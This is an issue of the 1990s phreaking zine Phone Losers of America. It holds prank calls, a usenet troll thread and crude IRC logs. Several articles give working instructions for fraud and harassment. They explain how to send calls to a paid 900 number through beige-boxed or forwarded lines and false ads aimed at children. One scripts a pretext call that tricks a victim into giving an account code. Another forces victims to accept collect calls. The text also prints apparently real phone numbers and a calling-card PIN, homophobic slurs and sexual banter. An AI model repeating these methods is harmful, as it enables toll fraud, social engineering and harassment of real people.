The PLA thinks  they're so funny.  My  friend  BJ  and  I  got  constant harassment  for weeks for  no reason.  We got harassing  calls  at all hours  of the night, things ordered on our phone bills, charges to calls we didn't make,  newspaper ads with our numbers in it, etc.  I believe  it has  something  to  do  with me being on the  staff at MSL/Spiff.net.  They're  nothing  but  little boys playing games.     <-==-Joe Shambro-==->

dazen is a homosexual  dazen likes gerbils and crisco and beans i bet he  gets a boner when  he calls his mother on the phone  i bet he's really uptight  and needs  a man or some  fucking prozac quick!!

Contact The Phone Losers Of America Nearest You!

etext.archive.umich.edu - pub/Zines/PhoneLosers

ftp.fc.net - pub/defcon/PLA

bac@bright.net - RedBoxChiliPepper

zak@lemming.com - Zak a.k.a. el_jefe

collcard@big12.metrobbs.com - To contact Colleen Card

apok0lyp@command.com.inter.net - Apok0lyps

http://www.pancreas.com/libs/pla.htm - THe FLoaTinG PanCReaS BBS

http://peak.org/~bueno/pla.html - Phone Losers of America Homepage

http://www.geocities.com/timessquare/3237/pla.html - Virgina PLA

http://www.geocities.com/SiliconValley/Pines/3411/ - Bay Area PLA

http://homepage.macomb.com/~syfert/pla/ - Phone Losers of Illinois

http://www.geocities.com/SiliconValley/5937/ - Phone Losers of Wisconsin

http://www.peak.org/~bueno/plasites.html - listing of all other PLA sites

Issue #044

Released on February 8, 1997

TABLE OF CONTENTS:

Owning Your Own 900 Number

Stop Paying  For 2600!

Pacific Bell's  QuickService

Accepting Collect Calls for your Friends

IRC  Logs

Letters

"A modern payphone is as exquisitely evolved as a cactus" --Bruce Sterling from The Hacker Crackdown

HIM: So you got your pictures back or not?

HER: Well, we got the proofs from Sears when we had them taken but I don't have the money to purchase them yet.

HIM: Bummer.

HER: I was thinking of just taking the proofs down to the copy shop and having color copies made & getting them blown up and stuff.

HIM: Well, you can't do that because there's a copyright on the proofs and I doubt the copy shop would do that for you.

HER: Oh, like they'd care. It's self-service so they won't even know.

HIM: Heh.

HER: I don't know if they'd come out very good if we enlarged them that way, though.   ...Hold on, I got another call...

HIM: Alright.

HER: <click> Hello?

ME: Yes, this is Steve from the Copy Super Center downtown.

HER: Yes?

ME: Well, I'll be blunt with you. We know all about your dishonest ploy involving the copyright infringement of your photographs from Sears.  This is just a friendly warning, but you'd better stay the hell out of our store and take your illegal activities elseware.

HER: Who is this?

ME: I told you, I'm Steve from the Copy Center here in town. We'll have the feds staking out the store front so don't even think about trying to make copies of your kids' photographs here. <click>

HER: <click> Oh my god, are you there, Shane?

HIM: Yeah, I'm here.

HER: Shit, you're not gonna believe this...

Everything in this issue is copyright (c) 1997 by the PLA. Void where prohibited, offer not valid in Vermont or Maine, no purchase necessary, no salesman will call. PLA is an equal opportunity employer - we will make fun of your religion no matter what color you are. No cost or obligation. Our pledge: "We will sell your name and address only to the highest bidders. We are not an elite hacker group. Violators will be prosecuted to the fullest extent of the law.

Setting Up Your Own 900 Number For Fun and Profit

Everyone knows that you can make big bucks by purchasing a 900 number. You've read the ads - "Stop making your boss rich, be your own boss! Make thousands of dollars a week owning your own 900 number!" What these ads don't tell you is that before you can get anyone to call your 900 number, you have to spend an ungodly amount of cash advertising in the backs of magazines before you'll ever make any money. So unless you can afford big bucks in the first place, you're not going to make anything. Until now.

Find A 900 Service:

One of the most difficult parts is actually finding a decent 900 provider. You should look for one that requires very little or no deposit. Most of the services work like this:

- You send the 900 provider a small fee (hopefully under $50) or with some, no fee at all. You also send them your name, address and other important information.

- The 900 service will provide you with either your own personal 900 number or they will give you a pin code to be used on THEIR 900 number.

- Each time someone calls your 900 number or uses your pin number, you will get a small amount of the profits. (Like maybe $1.00 a minute from their $2.99 a minute cost.)

- About a month or two later, you'll recieve a check from them for your portion of the profits.

That's how most of them work that'd you'd want to deal with. Of course, you could bypass a 900 provider altogether and just invest about $2000 and set up your own, but I've never had that much extra money lying around to blow.

To find a 900 provider, do a web search on "own your 900 number make big money" or something similar. Also look in the backs of magazines, such as Entrepreneur and Rolling Stone. They usually have the ones where you invest about $100 to get your own pin number. One service I know of that doesn't charge anything to start up is Web 900. Their phone number is 1-800-362-6728 and their URL is http://onlinew.com/logicom. They let you set an amount to be charged for each call. (ie, someone calls your 900 number and gets billed $25.) There's also BBS 900 which does the same thing.

Okay, I'm Ready to Start Accepting Calls:

You've got your 900 number set up and now you just need to get some people to call it. Here are a few tricks that will make you the richest kid in your neighborhood.

- Call the 900 number with your own phone. Sure, the phone company will shut off your line and your credit will be ruined, but in two months you'll get a check big enough to pay at least 1/3 of it off. (Okay, that's not very realistic, but it WILL work.)

- Go to a neighbor's house every night and beige box into their lines to call your own 900 number. Or better yet, a large business that won't notice the 900 charges on their bill for awhile.

- Find a phone number that nobody ever calls, such as a gas station's credit card line. If you can't seem to find one in your area, then call the billing office and order a phone line for an empty house. Make sure you get call forwarding for this line. Then beige box into the line or use remote access call forwarding to forward all the calls to your 900 number.

IMPORTANT NOTE: Some people think this is a great way to set up a 900 line that you can call day and night and never be charged for the call.  Sometimes this is true, but most times it isn't. When you dial the local number you've forwarded to a 900, sometimes the ANI passes through from your line to the forwarded number, to the 900 service. Sometimes this doesn't happen. It all depends on how the 900 company is set up. One of three things can happen when you call a local number forwarded to a 900 line:

1. ANI will pass through and charge YOU for calling the 900 number, whether you have a 900 block on your phone or not. (Having a block and getting charged for 900 calls really confuses the phone company.)

2. ANI will pass through and both you AND the place you've forwarded the call from will be charged for the call. This is really weird and you have to wonder who's collecting the money on that double billing.

3. ANI will not go through and you won't get billed for the 900 call - the forwarded number will.

Unfortunately, the only way really to find out which of these happens is to try it out and watch your phone bill next month to see if the charges appear. To be really safe, don't call the forwarded number from your house. Ever. The same thing happens with some 800 numbers so don't think this is a risk-free diverter either.

One really interesting thing is that you can go to a Bell pay phone and call your forwarded number, be connected to the 900 number and the Bell pay phone will start getting charged for 900 calls if #1 or #2 happens.  This will alert the phone company that something REALLY odd is going on and the phone company will usually (not having anywhere else to turn to) call the 900 service provider and ask them what the hell is going on. This raises suspicions to your 900 account, the 900 people call you and ask if you know what's going on. This is all un-wanted attention so if you're doing this to make money, don't use a Bell pay phone.

- Place an ad in your local newspaper and say whatever you have to to get people to call your local forwarded number. Try to aim the ad mostly at teenagers and kids so they'll call the number, think, "Hey, neat, a chat line!" and they'll tell their friends about it and so on. Example ad: "New FREE chatline available! Usually it would cost you $2.99 a minute but this month only, you can experience the fun for FREE through our local free number! Call 258-0357 and enter pin #2539 today!"

- Print up a bunch of flyers with your local number on it and post them everywhere. In your school, in your church, on community bulletin boards, throw them at police cars. Just whatever you do, don't let anyone see you doing this or you'll have an angry mob of townspeople at your door when the phone bills arrive.

- Log onto a BBS in your area and get an account under a false name. Make sure you use *67 when calling the BBS since alot of sysops use Caller ID.  Spam all the message groups with ads of your local phone number.

- Set up a "local" 900 number in every area code across the United States. Then place ads in all the newspapers where you've set up the numbers.

- Tap into the lines of CoCots and try dialing the 900 number directly from those. Most of them have 900 blocks but there's always a few.

- Find a well-hidden green telco box, bring your phone and sit there and dial your 900 number all night.

Payment:

After you've done all you can to generate traffic to your 900 line, sit back and wait for the payments to start arriving. The few 900 services that I've experimented with will wait two months before sending you a pay check. This is to ensure that nobody disputes the 900 charges on their line and they pay you for it and have to deduct the charges from your next check.

Charge-backs will happen but there's always gonna be alot of people that just don't notice the extra charges on their bill or they won't alert the 900 service in time. Some 900 services advertise "no chargebacks!" but those are usually the ones that ask for about $99 to get hooked up so I've never messed with them.

Most 900 services will send a monthly paycheck to the address you claim to live at. Since if you're good at this, this could be considered big-time fraud so maybe you might wanna remain anonymous. Get a PO Box (see PLA043) and use a voicemail as a contact number for the 900 company. Then again, if any questions arise as to why so much fraud happens involving your 900 number, you can just say you don't have a clue.

STOP PAYING FOR 2600!

Awhile ago I tried to rock the boat in usenet's alt.2600 by posting a message encouraging everyone to cancel their subscriptions to 2600 Magazine and instead look at the issues on my web site where I'd pirated all of the back issues. This web site, of course, does not exist. I only wanted to see a discussion in alt.2600 that didn't have to do with getting the latest cracks for the latest games.

I expected a huge flame war to erupt, millions of posts, threatening e-mail, calls to Emmanuel, feds to email me thank you notes. I wanted hackers to take over hotmail.com where I'd set up my 2600 e-mail address, trace my connection, hack my ISP, shut off my phones, destroy my life, maybe even get a free Phrack t-shirt in the mail from Erikb for evening out the competition but all I got in response were about 20 posts burried in the avalanche of "NEW WAREZ MAILING LIST" posts. And most of the e-mail I got was positive, asking me when the site would be up or people wanting to know the URL.

When stating my depression of how little response I got, el_jefe suggested I e-mail emmanuel and tell him he sucks and I want to be sued RIGHT NOW. But I never got around to that. So anyway, here are all the posts from my thread and all of the e-mail I got on hotmail. Maybe once people in alt.2600 read THIS, they'll ruin my life so I won't be so bored. Coming next issue - the resulting messages from my post in alt.christian, "STOP PAYING FOR THE HOLY BIBLE!!!"

THE POSTS:

[First, there were my two posts...]

Subject: stop paying for 2600!

From: pepman74@hotmail.com

Date: Sun, 12 Jan 1997 10:07:50 GMT

Are you tired of paying 2600's rediculous subscription fees? Well, worry no more! I'm setting up a web page that includes every single issue 2600 ever wrote since they began. I'm up to 1989 so the page should be available very soon. Every detail to every issue will be included such as pictures, covers and even hyperlinks to other cool pages in each issue! Stop paying The Man and visit our page instead! I'll post the URL in a few dayz...

Stay 'l337!

PepsiMan

------------

Subject: STOP PAYING FOR 2600!

From: pepman74@hotmail.com

Date: Sun, 12 Jan 1997 10:33:54 GMT

Yo, i don't think my last message posted so i'll say it again. I'm starting a new web page that has every issue of 2600 printed on it, word for word including all the pictures as well as hyperlinks to other cool sitez. Stop paying the rediculous subscription fees to TheMan and get them from my site for free. Ive compiled 1984-1989 so far so my page should be up very soon. Any comments/suggestions can be sent to me at pepman74@hotmail.com

Stay 31337!

------------

[And after three days of waiting, finally some replies...]

I'm glad to see that you don't worry about pesky little details like copyright law.  For some reason, netizens have become a little touchy about that of late.  They seem to object to having their intellectual property stolen. But you go right ahead.  You may just wind up paying 2600's rediculous (SIC) legal fees.

c ya,

Rick

------------

Subject: Re: stop paying for 2600!

From: jericho@dimensional.com ( )

Date: 13 Jan 1997 04:08:39 GMT

This will be an interesting situation. Does Emmanuel really believe in freedom of information? If he does, he won't mind since this person is taking a lot of time and energy to put them up. Hell, he may want copies of everything for 2600.com ...

------------

From: smiley2521@aol.com (Smiley2521)

Date: 29 Jan 1997 10:01:19 GMT

It's cool what your doing, but if everyone stopped paying them, then they'll go out of business and then you won't be able to update your web site.

------------

From: tiburon@brokersys.com (outclassed)

Date: Thu, 16 Jan 1997 05:07:12 GMT

Pirating 2600?  What a damn shame.

------------

[After only a couple of days, the posts tapered off so I  tried once again to spark a little interest, this time with a little (but not much) more success.]

I've gotten a lot of good e-mail and a lot of negative e-mail concerning my new 2600 page. You lamers can shut the fuck up and do something creative yourselves instead of telling me I'm stupid.

For those who are worthy - my 2600 site is almost up. Im nearing completetion and almost have all of the 2600 issues turned in to html form and up on my page and I have also put the cover on the beginning of each page and done a much better job than emmanuel's lame-ass scans on his page. Until i am completely finished, i will not be able to give out the address so be patent. I am almost finished!!!!

PepsiMan

http://you.will.see/2600/

------------

From:         waldo@comet.net (Waldo L. Jaquith)

Date:         1997/01/14

Hmmm...I'm not sure I'd call them ridiculous.  (Or "rediculous", for that matter.)  They're quite reasonable, considering the size, quality and unusual nature of the publication.

It's great that you're doing this, but, everybody -- please -- don't let this keep you from purchasing it.  If you don't buy _2600_, how do you suppose it'll continue to support the hacking community?

Information wants to be $1.99.

Best,

Waldo

------------

I completely agree.....2600 provides a service that is very helpful to cookbook collectors...they can't continue to produce quality material and support meetings if they are being pirated into the red ink......besides, it's only $21 a year!

------------

From: Robert Egan <icbm@li.net>

Date: Mon, 13 Jan 1997 17:26:13 -0500

Oh thats good.  Wipe out Emmanuel's cash and there will be no more 2600 Magazine.

------------

From:         cypher666@aol.com (Cypher666)

Date:         1997/01/25

i'd just like to add something... i'm only 15, my parents will be a tad suspicious when they see a computer/phone fraud magazine arriving every month in the mail.  I'd gladly pay the fee, but me ordering the magazine in hardcopy is not possible. I'd love to be able to somehow pay for the electronic version, but that wouldn't be possible either.  Hey, phrack is free, why can't 2600 be?

------------

1) Goldstein has to live off of what he  gets from 2600

2) Phrack is electronic, 2600 is published

Enough? Just pay for the stupid thing -- it's only $20 a year. Geeez.

Ammon

------------

From: shock_@hotmail.com (§h¤¢K)

Date: Thu, 30 Jan 1997 07:19:59 GMT

2600 is not about How to do fraud nor does it support it, It is for all Knowledge Seekers with that burning desire to know how things work not to know how to be a thief or to destroy things. Smoke that in your pipe little Kid; being an idiot will not get you fame or respect have, a desire to learn new things and then you will get the respect for what knowledge you know and how you use it to express your talents.

La8erz

§h¤¢K

------------

From:         OpIvy@pacbell.net (blah-Hipo)

Date:         1997/01/20

jesus. just steal it from book star or whatever, that way the great magazine doesnt suffer, just some big facless coorperation.

-blah-Hipo

------------

I think it's a good idea what you are doing and I am anxious to see your page but I don't think it is a good idea for you to incourage others to stop paying for the hard copy. If every one where to do so it would seise to exist and soon make you new page just a bunch of outdated articles.

rebound

------------

From:         glr@ripco.com (Glen L. Roberts)

Date:         1997/01/12

If I recall previous issues of 2600... they consider copying to be the best form of flattery... don't know what they currently say, I don't have an issue handy.

You can obviously get all the info in 2600 from the net, before they put it into magazine form... but if your time is of any value their summary is great... also... you can't read the web on the can or the bus...

Not to mention all the people 2600 reaches that isn't on the net yet!

I also notice in the original post, that the location of this information was not given... leading to speculation that someone is just trying to stir the pot!

[Finally, someone who has a slight clue that someone is just trying to fuck with the group. heh.]

THE E-MAIL:

From whamel@earthlink.net Sun Jan 12 09:41:29 1997

It might be a good idea to include the URL for your site in your next posting.  I'd really like to take a look and see what you've done with it though - any chance I could get it from you?

------------

From ierickson@guinan.mps.org Sun Jan 12 10:16:40 1997

What's the address of your website with all the 2600s on it?

------------

From wed@tacd.com Sun Jan 12 17:27:14 1997

If you even try to put up the magazine online, you are going to have serious problems on your hands. That isn't a threat. It's just a fact.  If you aren't willing to spend the $2-$4 four times a year for a damn good zine then you have bigger problems. Don't be so fucking disrespectful and pathetic. Show some support for the scene, not adversity.

-Wednesday

Mother Superior of

The Church of TACD

------------

From arcangl@pa.net Sun Jan 12 20:21:27 1997

What is your URL????

------------

From max11@linknet.net Sun Jan 12 21:11:21 1997

What is the address of your web site.

MESS WITH THE BEST DIE LIKE THE REST (R)

------------

From lamerhater@aol.hahaha Sun Jan 12 20:55:37 1997

I dont usually do this. Lamers like you piss me off. now go write a sob mail to you sysadmin, whiner.

LONG LIVE 2600!!!!!!!!

[This was an e-mail bomb sent to my hotmail address about 50 times. Boy, checking 50 delete boxes and clicking the delete icon really taught me a thing or two.]

------------

Are your pages with 2600 back-issues up yet?  I'd like to take a look, where is the address?

Thanks,

Minstrel

------------

I saw a post from you about a web site with 2600 info from the mag. What is the URL and is it up-and-running yet??

bigmess

------------

Heya, I caught your message on alt.2600 about the back archives of the 2600 Magazine - unfortunately, it was a reply to your message I read, so I did not get the URL for the page with them on.  If you would please tell me it,  I would be very grateful.  Thanks in advance.

Michael Rohm

------------

wow... finally someone who made a post to alt.2600 thats worth my time of reading. 1984-89 ... thats before 2600 became the lamer mainstream mag it is now. if theres any way i could possibly help id be glad to.

sniper

------------

From: Randy R Watson <rwatson+@pitt.edu>

whats the url

------------

From: zero <zero@ivic.net>

what' your address the your web page

------------

E-mail me the address please.

Vincent Arsenault

varsenault@bitsmart.com

------------

From: Jazd4@aol.com

i read your post about 2600 and was very intrested, if you can, e-mail me when you get the site up thanks.

How To Take Unfair Advantage Of Pacific Bell's QuickService -  by pneyz

Earlier this week, I recieved my monthly phone bill.  Of course, at the time I was in West Virginia and my phone is in California so I now think that Bell has men in trenchcoats shadowing me.  But inside the envelope, there was a PacBell newsletter along with the ugly brown reply envelope that I used to store my stolen "C&P W.Va" telephone pole plaque in. The newsletter was evidently aimed at telling those people too stupid to read PLA issues how to mess with people's phone service.  Oh, they didn't just come out and say it of course,  but they hinted at it. I'll type up the entire thing below since I have _no_ life.

By the way, I just found out that this will not work if you don't live in Pac Bell's territory.  I know that sounds obvious but I mean you can't find use  the 800 number from out of Pac Bell territory. I tried calling Bell Atlantic and seeing if they had a similar service and they said no. I don't know about any other RBOCs. Also, RBCP said it didn't work in USWest and they didn't have one. Anyway, here's the little promotional thing, word for word:

Ordering Services The Easy Way

If you're in a hurry and you want  to check your phone bill  balance or order a Custom Calling service -- like Call Waiting -- it's easy to do so.  Just call QuickService(sm)  at 1-800-241-3000 (toll free),  With a touch tone phone, our automated ordering system allows residential and small business customers to get information or order services without having to speak to a representative.  QuickService is available Monday through Friday, 7 am. to 11 pm. and Saturday from 7am. to 7pm.

With QuickService You Can:

- check the balance of your last bill,

- get the date and amount of your last payment,

- make payment arrangements,

- get copies of your bills,

- and much more.

Other Services

QuickService allows you to order or change a variety of phone services. You can call to hear a description of the service in which you're interested. When you order a Custom Calling/CLASS service through QuickService, your one-time connection charge will be waived!  The services available through  QuickService include:

- Call Waiting *

- Speed Calling 8 *

- Priority Ringing *

- Pacific Bell Calling Card

- Complete Blocking (Caller-ID) *

- Three-Way Calling *

- Select Call Forwarding *

- Call Return *

- Call Forwarding *

- Call Screen *

- Repeat Dialing *

- 24-hour Service Area or Community Discount calling plans

- Call Blocking or Unblocking of 900 or 976 numbers

- Inside Wire Per Month Repair Plan

* Custom Calling/CLASS services (where available)

How To Use QuickService

After you call 1-800-241-3000, just follow the simple voice prompts. You'll be asked to enter your area code and phone number and a security password to protect your privacy.  Your password can be your Pacific Bell Calling Card PIN, your Pay-By-Phone PIN, or the last three numbers of your account code, shown at the top of your Pacific Bell bill. If you call QuickService during business hours, and afterward decide you want to speak to a representative,  you can press "00" and your call will be transferred to the next available attendant.

---[end of promotional advertisement]---

Obviously, to use this service to your own ends, you will need someone's PIN or account code. The easiest way is to call them up and do something like this:

(GB = Greg Burri, 408-439-0206 / ME = pneyz)

GB: Hello?

ME: Hi. This is Chris Tomikson with the Bell Atlantic Phone Fraud Department, are you Brian Pedersen?

GB: Yes.

ME: We have detected some strange activity coming from your calling card.

GB: I haven't used mine in a long time.

ME: Then you weren't the one who made 3 calls to a waste management facility in Espoo, Finland?

GB: What?! No. I know nothing about those.

ME: I see. And did you use it to call the San Quentin Federal Penitentairy on the 4th, for 3.2 hours?

GB: Never.

ME: OK, we've been having a lot of problems like this. Have you locked your Telephone Network Interface box?

GB: My what?

ME: Never mind. Listen, we can have all those charges removed from your bill.

GB: Thank you. Thank you very much.

ME: I just need some way to make sure it's really you <little laugh to make them think it's just routine>.

GB: Sure, what do you need?

ME: Uh, how about the last 3 digits of your account number?

GB: Umn, I don't know it.

ME: Do you have a phone bill?

GB: Yea.

ME: OK, look up at the top. There's a number. Read the last 3 digits.

GB: Sure, they're 613.

ME: Thank you. If there are any more charges on there that aren't yours, call the business office and tell them. Have a nice day and thank you for using Pacific Bell.

It's always best to wait until late in the conversation before asking for the code.  This is because they will be more suspicious of you when you first call. Also, I threw in the bit about the TNI to get them off guard. Technical jargon and acronyms are always good to toss around to get them confused and  make them think only a TelCo employee would know them. Some good ones to use are Regional Bell Operating Company (RBOC), ACTS (Automated Coin Toll System), TNI (Telephone Network Interface) and some Cellular terms like ESN.

Sometimes though, the people will totally believe you and start asking how they can keep this from happening and what might have caused it.  I normally just trot out the old things like "cordless phone interception" (the guy decided to throw away his cordless phone, heh) and "un-locked TNI box".  You can also tell them that some hacker named Roy is doing this all over town.

I tried calling there and ordering 3-Way Calling and for some reason, it gave me an operator and when I added 3-Way, there _was_ a $5 installation fee. This means that if you hit "0" to get an operator, you can make it so the person you're harassing will get billed for the installation (normally, QuickService doesn't charge for installation). Of course, I then cancelled it and reordered it on QS.

Since this is an 800 number, they can and will trace you. So if you're screwing someone over, you might want to think about using a local payphone.  You can also use a payphone, order stuff to your line, and then complain that someone else did it. It works.

If anyone has any information about other RBOC's offering stuff like this, send me email at pneyz@armory.com. Oh yeah, RBCP said that Ameritech (I think) had a service like this that you could call in and enter a number and get their phone bill but he implied that it has been discontinued.

Making People Accept Collect Calls - by Jolly Spamhead & Ghost~Face~Killer

Hey, ever wanna harass a person long distance and don't want to pay for it?  Well, collect call them... What, they won't accept your call? Oh well, they're gonna have to from now on with this new 313370 trick.

Requirements to do this- First you need Three Way, because you need a friend on the other line to do this trick and have it work right. With both of you on the fone, one of you must click over and dial OCI (1-800-288-2880) as mentioned in previous PLA philez, Then click back over so you, your friend, and OCI are all on the same line. Your friend just stays quiet for now. Give them the run around like so...

<OCI> Oci, This is Monica how may I help you?

<G~F~K> Hi, i'd like to make a person to person collect call.

<Monica> Yes, can I have the number on the phone your dialing from?

<G~F~K> Uh...yeah 206-265-7932

<Monica> Ok, can I have the number your dialing to?

<G~F~K> Sure it's 860-568-1814 (or the # of the person your harassing)

<Monica> Whats your name sir?

<G~F~K> My name is Fisher Priceman.

<Monica> Ok, whats the name of the person your trying to reach?

<G~F~K> Uh Justin Daigle. (or any random name)

<Monica> Ok please hold and thank you for using OCI

As soon as the lamuh picks up have your friend pop in and say I accept the call. Like so...

<CLICK>

<Justin> He...

<Spam> Hello?     <-- (Your Friend)

<Monica> Hello this is the OCI operator I Ha...

<Spam> Yeah yeah, Whatever I accept.

<Monica> Thank you for using OCI. (Click)

<Justin> -Confused- Uh Hello?

And there you have it, The Lamuh does'nt have time to Know whats going until the operator is already gone and the call is already put through. Then it's up to you what happens next, Have Phun. Hope you enjoy this, me and dave got this to work 100% so far!

IRC Logs

Once again, PLA is sinking to a new all-time low by publishing a gigantic collection of IRC logs.

"either he cuts this shit out, or bright.net goes bye"    -dazen

A Private Conversation with Scott The Believer:

<RBCP> Do you praise the motherfucking lord?

<STB> NO RBCP, ypu Gay jerk.

Here's What Usually Happens When We Visit #DEAF (STB's Channel):

*** Now talking in #deaf

<RBCP> i'm touching it

*** You were kicked by SD40T_2 (banned: Get Lost PLA Gay Jerks! You think you are so good, take this!)

*** Attempting to rejoin...

*** Cannot rejoin channel... (you're banned!)

Colleen Card Visits #HACK:

*** Now talking in #hack

<Colleen> netsex for k0dez?

<Colleen> i swear i'm a girl.

<Colleen> i promise

<Colleen> erikb fell for it, why don't you?

<b_> BAKU BAKU

<Sinner> oh no

<no_ana> hohoho

<Erisian> Okay. You're a girl. That's nice.

<otoPICO> lalala

<dec3169> kinda my day.

<Colleen> but i'm blonde. please give me lots of codes.

<otoPICO> bakubaku is my god

*** You were kicked by Sinner (*** Colleen is ~carbon@waba1-cs-4.dial.bright.net (Chris Tomkinson))

*** Attempting to rejoin...

*** Rejoined channel #hack

<Colleen> you can wire them to my AOL account.

*** stb is on IRC (praise the fucking lord)

*Erisian* What the hell are you doing here?

-> *stb* i love you

<otoPICO> haha

*** RonPost (~GC10000E@mccot001.mc.duke.edu) has joined #hack

<Colleen> HI RON!

<coldfire> anyone know where i can get an ascii line printed snoopy calender?

<Colleen> I'll sell you the AT&T 10xxx code for k0dez!

*Erisian* Please leave.

<RonPost> oh boy

<coldfire> anyone know where i can get an ascii line printed snoopy calender?

* HomeySan is back from the dead. Gone 38 min 45 secs

<VaxBuster> hi homey

<Erisian> Vaxarina!

<Colleen> can anyone teach me how to hack? i'll pay you.

*HomeySan* who are you? you're funny/elite "selling 10xxx code" heh

<Erisian> COLLEEN GET THE FUCK OUT!

<HomeySan> uhhh, sure

*** You were kicked by VaxBuster (suck my c0ck)

*** Attempting to rejoin...

*** Rejoined channel #hack

*** You were kicked by tsal ([1]smewch!#$@!$@!$@!$@![1])

*** Attempting to rejoin...

*** Rejoined channel #hack

<VaxBuster> haha rp

<Colleen>  howdy, i like k0dez.

<Erisian> Bwahahaha...

<tsal> LETS PLAY HACK THE STRIPPER!#@$!

<tsal> du0d

<Erisian> Let's play spot the fed...

<Colleen> i'm not a fed, i can prove it. just give me k0dez and i'll use them. i swear.

<HomeySan> sit on my lap and I'll show your rdist, baby.... (since when was that a pick-up line?) LOL

<coldfire> well if you dont know where i can get an ascii snoopy calender howabout an ascii elephant jokes calender?

<RonPost> code: 90210

<tsal> colleen: here

<tsal> 18004280940 PIN 369400

<Erisian> Coldfire - You're in the wrong place. I think you want #moroncrap.

<Colleen> whoa!

<Colleen> now i gotta hang up my modem to use it!

<otoPICO> hey colleen : to get codez you have to know the secret word

<Colleen> or i can just run over to the pay phone real quick.

<Colleen> where do you want the netsex, sir?

<tsal> colleen: you owe me netsex!@#$@!

<coldfire> erisian: you have no culture

<Colleen> boobs boobs penis. i'm touching myself.

<tsal> right here, right now.

<no_baboon> hehe.

<dec3169> u have to have a codex multiplexor to get codez.

<tsal> huhuhu

<HomeySan> *Colleen* quick, coach me on netsex tips.

<HomeySan> LOL

<Erisian> Motherfucker wants an ASCII Snoopy calendar and says I have no culture.

<otoPICO> tsal...like didnt your doctor say NO sex stuff...cuss like you are broked

<otoPICO> hahaha

<Colleen> homeysan, you traitor

<redmare> h0h0h0..u netsex coach u

<tsal> and i can have sex

<Erisian> Colleen - Telnet to all the best hacking utils at 127.0.0.1...

<Colleen> oooooooooooo, i'm there.

<Erisian> tsal - You're broked? Wha hoppen?

<Colleen> can anybody e-mail me an elite copy of telix?

<Erisian> tsal - Yeah, I was born with a weak heart...

<Erisian> tsal - Fortunately, I can bang whenever I like.

<HomeySan> collen: qmodem 4.5 test drive, all the way

<Colleen> tsal, i can give you a heart attack cause i'm really a girl and stuff

<Colleen> and i have big blonde hair

<Colleen> i wear lots of hair spray. netsex anyone?

<tsal> colleen: send me a picture

<RonPost> tsal's really a girl also.....

<tsal> ron: shhhhhhhhh

<otoPICO> tsal is hemaphroditic

<RonPost> i'm a bi-fem my self...

<Colleen> whoa, i'm a lesbo then!

<Erisian> I'm a lesbian in a man's body...

<Erisian> Hehehehe... Hack-me Elmo...

<Colleen> this telnet isn't very exciting. does anyone here wear glasses? I want to netsex you.

<Erisian> Whooo-hoo!

<otoPICO> uhh really

<otoPICO> haahahahahahaha

<RonPost> i drink from glasses....does that count?

<Erisian> Colleen - I wouldn't netsex you with emmanuel's net dick!

<otoPICO> like i have glasses and i drink from glasses!!! woop

<Fantus> like, i have contacts

<tsal> colleen: i'm really a guy, btw..

<RonPost> code: 0u812

<Colleen> wow, i haven't been banned yet. this is cool.

*tsal* btw, I'm not a chick, ronpost was lying.

* Colleen runs all over the channel waving t-shirts around and flings them in Fantus's face. "T-shirts! I got tons of LOD-MOD t-shirts! Get 'em while they're hot!"

<HomeySan> can we play "wet t-shirt contest" in them?

<RonPost> i want my : "i phear BoW" tee

<tsal> I KNOW WHO COLLEEN IS

<Colleen> no you don't. i'm a blonde.

<Colleen> and blonde in a bottle.

<Colleen> and i got lots and lots of silicone.

<tsal> COLLEEN HAS MY INFOZ

<no_ana> COLLEEN IS JEANIE FROM "I DREAM OF JEANIE"

<no_ana> I KNEW IT

<otoPICO> uhh i have lots n lots of silicon

<Colleen> oh shit, i've been found out.

<jima> no_ana: and did colleen kill jfk too?

<Colleen> i'm not in Oregon, I moved you crazy bastard.

<Erisian> Colleen - Are you even sexier than SYNACK?

<tsal> colleen: YOU WERE

<tsal> AT LEAST IN THAT AREA

<Colleen> could i have ops because i have blonde hair.

<jobe> definitly not Colleen

<tsal> COLLEEN

<tsal> like

<Erisian> COLLENN I WANT TO To SUCK MY LOAD!!!!

<Erisian> OOPS, I MEAN I WANT *YOU* TO SUCK MY LOAD!

*** Erisian was kicked by Veggie (Go away.)

<Veggie> I have the sideburns of TEN MEN.

<Colleen> wanna stroke my truck.

*** You were kicked by jobe (NO.)

*** Attempting to rejoin...

*** Rejoined channel #hack

*** Kludge changes topic to "<Erisian> COLLENN I WANT TO To SUCK MY LOAD!!!!"

<Colleen> if i give everyone a code can i stay.

<Colleen> a code and a dollar?

<Kludge> It appears he would like to suck his load...

<otoPICO> cus colleen you are prolly a protestant....

<otoPICO> and uhh #hack is really catholic n stuff

* jobe will werk for c0dez

<Colleen> no really , i'm catholic and i worship the goddamned lord

and i go to fucking church

<Colleen> i praise his god damned name, i swear.

<Veggie> I KICK ASS FOR THE LORD.

*** tsal sets mode: +o Colleen

<Colleen> oh no

<Colleen> we smoke pot for jesus using the bible pages for rolling papers. i'm very religious.

<Colleen> i'm going to be a minister when i grow up and we'll sing priase to the fucking lord

<otoPICO> like i was gonna be a preist once...must then i sobered up

<prophit> wicked, can i have ops, i had them last night, i was promised them today

<Colleen> does anyone know the number to 1-900-HOT-BABE?

<Colleen> i'll give you k0dez for it *prophit* so can i have ops today????

<Twiztah> uhh colleen u so smart

<otoPICO> colleen: yes

<Colleen> okay

<Colleen> antix: 10288

<Colleen> byplyne: 10222

*prophit* they are opping everyone. just op me please.

<Colleen> b_ : 10333

*prophit* i am a regular here they won't mind

<Colleen> chmawd: 3

*prophit* i had ops last night and the night before, they won't mind

<Colleen> dec3169: 10482

<AvAlON> Hey prophit! nice to see ya man!!!!!!

<Colleen> etrigan: 8

<Colleen> fantus: 10776

*prophit* if u like i will return the favour in #hackers_hideout?

<Colleen> leave me alone jima, i'm a dropout.

<Colleen> fantus: 10999

<Colleen> see you confused me and i gave fantus two codes. now EVERYONE will want two codes.

<Colleen> thanks a fucking lot

<prophit> Colleen what are you doing?

<Colleen> trying to get k0dez for netsex

Dazen Goes A Little Fruity in the Head:

Dazen is one of the lamer people that hangs out 24 hours a day in #rock. Don't believe me? Stop reading for a second, log on to IRC and look. He's on, isn't he? He's always on. Well, one day he left for a second so I took over his nick and ended up talking to a couple of girls he was trying to netsex. I began raving in #rock that rbcp had shut off my phone and sent the cops to our house. (Which, of course, is made up.) Here are the results:

<Bella_> Thank you Hank.. I appreciate you not yelling at me :)

<dazen> np

<Bella_> yes :)

<dazen> you're nuts

<dazen> can i do you?

<Bella_> So, did you get in trouble with the police there?

<dazen> yeah, they searched our whole house for drugs because of rbcp

<Bella_> I am?

